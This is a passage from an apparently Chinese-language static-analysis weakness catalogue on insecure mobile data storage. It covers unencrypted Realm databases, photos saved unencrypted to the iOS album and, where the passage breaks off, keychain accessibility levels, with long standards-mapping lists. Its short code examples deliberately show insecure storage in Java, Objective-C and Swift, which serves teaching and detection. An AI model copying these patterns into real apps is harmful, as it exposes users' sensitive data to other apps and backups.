界: Encapsulation

封装即绘制强边界。在 Web 浏览器中,这可能意味着确保您的移动代码不会被其他移动代码滥用。在服务器上,这可能意味着区分已验证数据和未验证数据、区分一个用户的数据和另一个用户的数据,或者区分允许用户查看的数据和不允许用户查看的数据。

104 个项目已找到
弱点
Abstract
所标识的方法建立到未加密数据库的连接。
Explanation
应用程序文件可以由根设备上或未加密备份中的其他应用程序访问。由于用户可以决定越狱其设备或执行未加密的备份,因此最好对包含敏感数据的数据库进行加密。

示例 1:以下代码建立到未加密的 Realm 数据库的连接:


Realm realm = Realm.getDefaultInstance();
References
[1] Realm Database Encryption Realm
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3)
[9] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[10] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[12] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[13] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[15] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[16] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[27] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[28] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.java.insecure_storage_missing_database_encryption
Abstract
所标识的方法建立到未加密数据库的连接。
Explanation
应用程序文件可以由根设备上或未加密备份中的其他应用程序访问。由于用户可以决定越狱其设备或执行未加密的备份,因此最好对包含敏感数据的数据库进行加密。

示例 1:以下代码建立到未加密的 Realm 数据库的连接:


RLMRealmConfiguration *config = [RLMRealmConfiguration defaultConfiguration];
RLMRealm *realm = [RLMRealm realmWithConfiguration:config error:nil];
References
[1] Realm Cocoa Tutorial: Encryption with Realm Realm
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3)
[9] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[10] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[12] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[13] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[15] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[16] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[27] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[28] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.objc.insecure_storage_missing_database_encryption
Abstract
所标识的方法建立到未加密数据库的连接。
Explanation
应用程序文件可以由越狱设备上或未加密备份中的其他应用程序访问。由于应用程序开发人员无法控制用户是决定越狱其设备还是执行未加密的备份,因此最好对包含敏感数据的数据库进行加密。

示例 1:以下代码建立到未加密的 Realm 数据库的连接:


let realm = try! Realm()
References
[1] Realm Cocoa Tutorial: Encryption with Realm Realm
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3)
[9] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[10] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[12] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[13] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[15] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[16] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[27] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[28] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.swift.insecure_storage_missing_database_encryption
Abstract
标识方法会将未加密数据写入 iOS 相册。
Explanation
保存到 iOS 相册中的文件可随意读取,并且可供设备中的应用程序访问。攻击者可以利用这一特点盗取敏感的照片,例如,用于手机支票存款的支票图片。

例 1:下面的代码使用 UIImageWriteToSavedPhotosAlbum 将图像保存到相册:


- (void) imagePickerController:(UIImagePickerController *)picker didFinishPickingMediaWithInfo:(NSDictionary *)info
{
// Access the uncropped image from info dictionary
UIImage *image = [info objectForKey:UIImagePickerControllerOriginalImage];

// Save image
UIImageWriteToSavedPhotosAlbum(image, self, @selector(image:didFinishSavingWithError:contextInfo:), nil);

...
}
References
[1] iOS Security Guide Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 313, CWE ID 359, CWE ID 921
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[8] Standards Mapping - FIPS200 MP
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[16] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[17] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[18] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[20] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[31] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[32] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.insecure_storage_missing_encryption_on_stored_private_media
Abstract
标识方法会将未加密数据写入 iOS 相册。
Explanation
保存到 iOS 相册中的文件可随意读取,并且可供设备中的应用程序访问。攻击者可以利用这一特点盗取敏感的照片,例如,用于手机支票存款的支票图片。

示例 1:以下代码使用 UIImageWriteToSavedPhotosAlbum 将图像保存到相册:


func imagePickerController(picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [NSObject : AnyObject]) {
if let pickedImage = info[UIImagePickerControllerOriginalImage] as? UIImage {
imageView.contentMode = .ScaleAspectFit
imageView.image = pickedImage
}

// Save image
UIImageWriteToSavedPhotosAlbum(pickedImage!, self, nil, nil)

dismissViewControllerAnimated(true, completion: nil)
}
References
[1] iOS Security Guide Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 313, CWE ID 359, CWE ID 921
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[8] Standards Mapping - FIPS200 MP
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[16] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[17] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[18] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[20] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[31] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[32] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.insecure_storage_missing_encryption_on_stored_private_media
Abstract
该方法可将数据存储到密钥链中,但不强制用户为其设备设置密码。
Explanation
密钥链可访问性级别定义了密钥链项目可在何时解密以供应用程序使用。可用的可访问性级别如下所示:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新启动后,将无法访问密钥链项目中的数据,直到用户将设备解除锁定一次。
第一次解除锁定后,数据将保持可访问状态,直到下次重新启动。推荐将此属性用于需要由后台应用程序访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleAlways:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目在使用加密备份时会迁移到新设备。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
只能在设备解除锁定时访问密钥链中的数据。仅在设备上设置了密码时可用。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。将备份恢复到新设备后,这些项目将丢失。不能在没有密码的设备上的此类中存储任何项目。禁用设备密码将会删除此类中的所有项目。
在 iOS 8.0 和更高版本中可用。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlocked:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目在使用加密备份时会迁移到新设备。
这是在没有明确设置可访问性常量的情况下添加密钥链项目时的默认值。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

